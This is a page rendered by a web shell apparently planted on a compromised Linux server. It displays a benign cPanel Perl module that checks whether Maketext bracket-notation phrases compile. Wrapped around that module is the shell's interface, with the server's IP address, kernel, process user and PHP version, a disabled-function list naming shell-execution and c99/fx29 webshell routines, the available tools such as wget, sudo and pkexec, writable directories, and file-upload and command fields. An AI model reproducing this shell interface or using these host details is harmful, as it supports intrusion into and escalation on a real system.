403Webshell
Server IP : 103.119.228.120  /  Your IP : 13.58.207.196
Web Server : Apache
System : Linux v8.techscape8.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : nobody ( 99)
PHP Version : 5.6.40
Disable Function : shell_exec,symlink,system,exec,proc_get_status,proc_nice,proc_terminate,define_syslog_variables,syslog,openlog,closelog,escapeshellcmd,passthru,ocinum cols,ini_alter,leak,listen,chgrp,apache_note,apache_setenv,debugger_on,debugger_off,ftp_exec,dl,dll,myshellexec,proc_open,socket_bind,proc_close,escapeshellarg,parse_ini_filepopen,fpassthru,exec,passthru,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,popen,show_source,proc_nice,proc_terminate,proc_get_status,proc_close,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,dl,symlink,shell_exec,system,dl,passthru,escapeshellarg,escapeshellcmd,myshellexec,c99_buff_prepare,c99_sess_put,fpassthru,getdisfunc,fx29exec,fx29exec2,is_windows,disp_freespace,fx29sh_getupdate,fx29_buff_prepare,fx29_sess_put,fx29shexit,fx29fsearch,fx29ftpbrutecheck,fx29sh_tools,fx29sh_about,milw0rm,imagez,sh_name,myshellexec,checkproxyhost,dosyayicek,c99_buff_prepare,c99_sess_put,c99getsource,c99sh_getupdate,c99fsearch,c99shexit,view_perms,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,parsesort,view_perms_color,set_encoder_input,ls_setcheckboxall,ls_reverse_all,rsg_read,rsg_glob,selfURL,dispsecinfo,unix2DosTime,addFile,system,get_users,view_size,DirFiles,DirFilesWide,DirPrintHTMLHeaders,GetFilesTotal,GetTitles,GetTimeTotal,GetMatchesCount,GetFileMatchesCount,GetResultFiles,fs_copy_dir,fs_copy_obj,fs_move_dir,fs_move_obj,fs_rmdir,SearchText,getmicrotime
MySQL : ON |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /usr/local/ssl/local/ssl/local/share/perl5/Locale/Maketext/Utils/Phrase/Norm/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/local/ssl/local/ssl/local/share/perl5/Locale/Maketext/Utils/Phrase/Norm/Compiles.pm
package Locale::Maketext::Utils::Phrase::Norm::Compiles;

use strict;
use warnings;
use Locale::Maketext::Utils         ();
use Locale::Maketext::Utils::Phrase ();

sub normalize_maketext_string {
    my ($filter) = @_;

    my $string    = $filter->get_orig_str();
    my $mt_obj    = $filter->get_maketext_object();
    my $bn_regexp = Locale::Maketext::Utils::Phrase::get_bn_var_regexp();

    local $SIG{'__DIE__'};    # cpanel specific: ensure a benign eval does not trigger cpsrvd's DIE handler (may be made moot by internal case 50857)
    eval {

        # TODO: when we have a phrase class we can pass in proper args to each BN method, for now pass in a bunch of numbers tpo avoid warnings
        my $n = 0;
        my @args = map { $n++ } ( $string =~ m/($bn_regexp)/g );

        $mt_obj->makethis( $string, @args );
    };

    if ($@) {
        my $error = $@;

        $error =~ s/([\[\]])/~$1/g;
        $error =~ s/[\n\r]+/ /g;

        $string =~ s/([\[\]])/~$1/g;
        $error =~ s/\Q$string\E.*$/$string/;
        my $string_sr = $filter->get_string_sr();
        if ( $error =~ m/Can't locate object method "(.*)" via package "(.*)"/i ) {
            $error = "“$2” does not have a method “$1” in: $string";
        }
        elsif ( $error =~ m/Undefined subroutine (\S+)/i ) {    # odd but theoretically possible
            my $full_func = $1;
            my ( $f, @c ) = reverse( split( /::/, $full_func ) );
            my $c = join( '::', reverse(@c) );
            $error = "“$2” does not have a function “$1” in: $string";
        }

        ${$string_sr} = "[comment,Bracket Notation Error: $error]";

        $filter->add_violation('Bracket Notation Error');
    }

    return $filter->return_value;
}

1;

__END__

=encoding utf-8

=head1 Normalization

Check that the string compiles.

=head2 Rationale

If the source phrase is broken, we have to die at run time. If the target phrase is broken, we do not get the translation.

Conceivably there could also be more subtle problems it could cause.

=head1 possible violations

=over 4

=item Bracket Notation Error

There was a problem compiling the string.

The string is replaced with a comment that details the problem, typically including an escaped verison of the problematic string: [comment,Bracket Notation Error: DETAILS_GO_HERE]

=back

=head1 possible warnings

None

Youez - 2016 - github.com/yon3zu
LinuXploit